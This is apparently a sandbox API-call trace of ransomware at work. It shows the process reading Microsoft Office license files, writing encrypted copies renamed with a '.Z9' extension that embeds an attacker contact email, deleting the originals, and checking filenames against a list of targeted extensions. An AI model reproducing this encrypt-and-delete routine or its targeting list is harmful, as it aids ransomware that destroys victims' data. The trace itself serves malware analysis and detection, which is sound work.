	[0179.256] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.256] lstrlenW (lpString=".dbf") returned 4
	[0179.256] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.256] lstrlenW (lpString=".1cd") returned 4
	[0179.256] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-oob.xrm-ms") returned 87
	[0179.256] lstrlenW (lpString=".jpg") returned 4
	[0179.256] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.256] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.256] lstrlenW (lpString="HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 37
	[0179.257] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.258] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=19966) returned 1
	[0179.258] CloseHandle (hObject=0x4a8) returned 1
	[0179.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 0x220
	[0179.258] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.258] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.259] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.259] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0179.260] GetLastError () returned 0x0
	[0179.260] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x4dfe, lpOverlapped=0x0) returned 1
	[0179.268] WriteFile (in: hFile=0x344, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x4e00, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x4e00, lpOverlapped=0x0) returned 1
	[0179.269] ReadFile (in: hFile=0x4a8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.269] WriteFile (in: hFile=0x344, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11e, lpOverlapped=0x0) returned 1
	[0179.270] SetEndOfFile (hFile=0x344) returned 1
	[0179.270] CloseHandle (hObject=0x344) returned 1
	[0179.270] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.270] SetEndOfFile (hFile=0x4a8) returned 1
	[0179.420] CloseHandle (hObject=0x4a8) returned 1
	[0179.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.568] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp4-ul-phn.xrm-ms")) returned 1
	[0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.570] lstrlenW (lpString=".doc") returned 4
	[0179.570] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString=".docx") returned 5
	[0179.570] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.570] lstrlenW (lpString=".pdf") returned 4
	[0179.570] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString=".xls") returned 4
	[0179.570] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString=".xlsx") returned 5
	[0179.570] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.570] lstrlenW (lpString=".ppt") returned 4
	[0179.570] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.570] lstrlenW (lpString=".zip") returned 4
	[0179.570] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString=".rar") returned 4
	[0179.571] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString=".bz2") returned 4
	[0179.571] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString=".7z") returned 3
	[0179.571] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.571] lstrlenW (lpString=".dbf") returned 4
	[0179.571] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.571] lstrlenW (lpString=".1cd") returned 4
	[0179.571] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.571] lstrlenW (lpString=".jpg") returned 4
	[0179.571] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.571] lstrlenW (lpString=".doc") returned 4
	[0179.571] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString=".docx") returned 5
	[0179.571] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.571] lstrlenW (lpString=".pdf") returned 4
	[0179.571] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString=".xls") returned 4
	[0179.571] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.571] lstrlenW (lpString=".xlsx") returned 5
	[0179.571] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.571] lstrlenW (lpString=".ppt") returned 4
	[0179.571] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.572] lstrlenW (lpString=".zip") returned 4
	[0179.572] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.572] lstrlenW (lpString=".rar") returned 4
	[0179.572] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.572] lstrlenW (lpString=".bz2") returned 4
	[0179.572] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.572] lstrlenW (lpString=".7z") returned 3
	[0179.572] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.572] lstrlenW (lpString=".dbf") returned 4
	[0179.572] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.572] lstrlenW (lpString=".1cd") returned 4
	[0179.572] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp4-ul-phn.xrm-ms") returned 87
	[0179.572] lstrlenW (lpString=".jpg") returned 4
	[0179.572] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.572] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.572] lstrlenW (lpString="HomeBusinessR_Retail-pl.xrm-ms") returned 30
	[0179.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.574] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=10655) returned 1
	[0179.574] CloseHandle (hObject=0x388) returned 1
	[0179.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 0x220
	[0179.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0179.575] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.575] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0179.576] GetLastError () returned 0x0
	[0179.576] ReadFile (in: hFile=0x388, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x299f, lpOverlapped=0x0) returned 1
	[0179.582] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x29a0, lpOverlapped=0x0) returned 1
	[0179.584] ReadFile (in: hFile=0x388, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.584] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x110, lpOverlapped=0x0) returned 1
	[0179.584] SetEndOfFile (hFile=0x540) returned 1
	[0179.584] CloseHandle (hObject=0x540) returned 1
	[0179.584] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.584] SetEndOfFile (hFile=0x388) returned 1
	[0179.587] CloseHandle (hObject=0x388) returned 1
	[0179.587] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.677] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail-pl.xrm-ms")) returned 1
	[0179.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.934] lstrlenW (lpString=".doc") returned 4
	[0179.934] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString=".docx") returned 5
	[0179.935] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.935] lstrlenW (lpString=".pdf") returned 4
	[0179.935] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString=".xls") returned 4
	[0179.935] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString=".xlsx") returned 5
	[0179.935] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.935] lstrlenW (lpString=".ppt") returned 4
	[0179.935] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.935] lstrlenW (lpString=".zip") returned 4
	[0179.935] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString=".rar") returned 4
	[0179.935] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString=".bz2") returned 4
	[0179.935] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString=".7z") returned 3
	[0179.935] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.935] lstrlenW (lpString=".dbf") returned 4
	[0179.935] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.935] lstrlenW (lpString=".1cd") returned 4
	[0179.935] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.935] lstrlenW (lpString=".jpg") returned 4
	[0179.935] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.935] lstrlenW (lpString=".doc") returned 4
	[0179.935] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString=".docx") returned 5
	[0179.936] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.936] lstrlenW (lpString=".pdf") returned 4
	[0179.936] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString=".xls") returned 4
	[0179.936] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString=".xlsx") returned 5
	[0179.936] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.936] lstrlenW (lpString=".ppt") returned 4
	[0179.936] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.936] lstrlenW (lpString=".zip") returned 4
	[0179.936] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString=".rar") returned 4
	[0179.936] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString=".bz2") returned 4
	[0179.936] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString=".7z") returned 3
	[0179.936] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.936] lstrlenW (lpString=".dbf") returned 4
	[0179.936] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.936] lstrlenW (lpString=".1cd") returned 4
	[0179.936] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail-pl.xrm-ms") returned 80
	[0179.937] lstrlenW (lpString=".jpg") returned 4
	[0179.937] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.937] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.937] lstrlenW (lpString="HomeBusinessR_Retail2-ppd.xrm-ms") returned 32
	[0179.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0179.938] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=22092) returned 1
	[0179.938] CloseHandle (hObject=0x344) returned 1
	[0179.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 0x220
	[0179.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344
	[0179.938] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.938] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x524
	[0179.939] GetLastError () returned 0x0
	[0179.939] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x564c, lpOverlapped=0x0) returned 1
	[0180.550] WriteFile (in: hFile=0x524, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x5650, lpOverlapped=0x0) returned 1
	[0180.552] ReadFile (in: hFile=0x344, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.552] WriteFile (in: hFile=0x524, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x114, lpOverlapped=0x0) returned 1
	[0180.553] SetEndOfFile (hFile=0x524) returned 1
	[0180.860] CloseHandle (hObject=0x524) returned 1
	[0180.860] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.860] SetEndOfFile (hFile=0x344) returned 1
	[0181.115] CloseHandle (hObject=0x344) returned 1
	[0181.116] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0181.116] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_retail2-ppd.xrm-ms")) returned 1
	[0181.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.117] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.117] lstrlenW (lpString=".doc") returned 4
	[0181.117] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.117] lstrlenW (lpString=".docx") returned 5
	[0181.117] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.117] lstrlenW (lpString=".pdf") returned 4
	[0181.117] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.117] lstrlenW (lpString=".xls") returned 4
	[0181.117] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.117] lstrlenW (lpString=".xlsx") returned 5
	[0181.117] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.117] lstrlenW (lpString=".ppt") returned 4
	[0181.118] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.118] lstrlenW (lpString=".zip") returned 4
	[0181.118] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.118] lstrlenW (lpString=".rar") returned 4
	[0181.118] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.118] lstrlenW (lpString=".bz2") returned 4
	[0181.118] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.118] lstrlenW (lpString=".7z") returned 3
	[0181.118] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.118] lstrlenW (lpString=".dbf") returned 4
	[0181.118] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.118] lstrlenW (lpString=".1cd") returned 4
	[0181.118] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.118] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.166] lstrlenW (lpString=".jpg") returned 4
	[0181.178] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_Retail2-ppd.xrm-ms") returned 82
	[0181.178] lstrlenW (lpString=".doc") returned 4
